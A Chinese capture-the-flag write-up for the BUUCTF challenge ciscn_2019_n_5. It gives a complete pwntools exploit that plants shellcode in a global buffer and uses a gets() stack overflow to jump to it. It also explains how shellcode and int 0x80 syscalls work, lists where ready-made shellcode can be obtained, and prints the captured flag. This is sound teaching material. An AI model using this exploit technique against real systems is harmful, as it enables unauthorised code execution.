天天看點

BUU-ciscn_2019_n_5檢視保護IDA解題思路EXPflag

檢視保護

什麼都沒保護.jpg

BUU-ciscn_2019_n_5檢視保護IDA解題思路EXPflag

IDA

邏輯很簡單,兩次輸入。這兩次輸入看起來都可以利用:

read限制了讀取長度,而且name是全局變量,位址可通路。

gets裡的text可以進行棧溢出,0x20

BUU-ciscn_2019_n_5檢視保護IDA解題思路EXPflag

解題思路

EXP

from pwn import *
p=remote('node3.buuoj.cn',29048)
context.arch = 'amd64'  # 架構名稱,不加狂報錯……
context.log_level = 'debug' # debug模式
shellcode = asm(shellcraft.amd64.sh()) 
#asm将接受到的字元串轉變為彙編碼的機器代碼,
#而shellcraft可以生成asm下的shellcode 
p.recvuntil("tell me your name")
p.sendline(shellcode)
p.recvuntil("What do you want to say to me?")
payload = b'A'* 0x20 + b'A'* 8 + p64(0x601080)
p.sendline(payload)
p.interactive()
           

## shellcode原理(初步認識)

什麼是shellcode:

每條彙編指令都對應着長短不一的一串16進制數
這些16進制數串叫做opcode,是和彙編指令存在對應關系的機器碼。
或者說可以認為彙編指令是opcode的“别名”。

易于人類閱讀的彙編語言指令,如xor ecx, ecx等,
實際上就是被彙編器根據opcode與彙編指令的替換規則替換成16進制數串,
再與其他資料經過組合處理,
最後變成01字元串被CPU識别并執行的。

是以我們可以直接構造合法的16進制串組成的opcode串,即shellcode,
使系統得以識别并執行(讓CPU執行的shellcode機器碼),
完成我們想要的功能。
           

shellcode為什麼能實作"system("/bin/sh")的效果?

根據别人的實驗,一個簡單的shellcode運作過程大緻如下(不嚴謹):

EAX, EBX, ECX, EDX四個寄存器被先後清零,
EAX被指派為0Xb,
ECX入棧,
“/bin//sh”字元串入棧,
并将其首位址賦給了EBX,
最後執行完int 80h
           

這其中實作了“system("/bin/sh")”的效果的地方就是 int 80:

查閱intel開發者手冊可以知道int指令的功能是調用系統中斷,
是以int 80h就是調用128号中斷。
在32位的linux系統中,
⭐該中斷被用于呼叫系統調用程式system_call().

出于對硬體和作業系統核心的保護,應用程式的代碼一般在保護模式下運作。在這個模式下我們使用的程式和寫的代碼是沒辦法通路核心空間的。
但是我們顯然可以通過調用read(), write()之類的函數從鍵盤讀取輸入,把輸出儲存在硬碟裡的檔案中。
那麼read(), write()之類的函數是怎麼突破保護模式的管制,成功通路到本該由核心管理的這些硬體呢?
答案就在于int 80h這個中斷調用。不同的核心态操作通過給寄存器設定不同的值,再調用同樣的 指令int 80h,就可以通知核心完成不同的功能。
而read(), write(), system()之類的需要核心“幫忙”的函數,就是圍繞這條指令加上一些額外參數處理,異常處理等代碼封裝而成的。32位linux系統的核心一共提供了0~337号共計338種系統調用用以實作不同的功能。
           

擷取shellcode

1.直接擷取

網絡上有許多已經編寫好的shellcode資源公開分享

諸如:

exploit database;

Shellcodes database for study cases(該平台目前已停止更新)

2.通過軟體擷取shellcode

eg:cobaltstrike(win)

msf(功能強大,以後研究)

pwntools(用其核心子產品shellcraft生成shellcode)

# pwntools庫擷取shellcode标準寫法:
from pwn import *

#設定目标機器資訊

context(arch = 'amd64', os = 'linux',log_level = 'debug')
#asm将接受到的字元串轉變為彙編碼的機器代碼,而shellcraft可以生成asm下的shellcode

shellcode=asm(shellcraft.amd64.linux.sh)

print(shellcode)
           

手動擷取:

1.機器碼寫shellcode

2.彙編語言寫shellcode

flag

flag{f24d7b9f-6efe-4a04-b3c2-ae33b799ea26}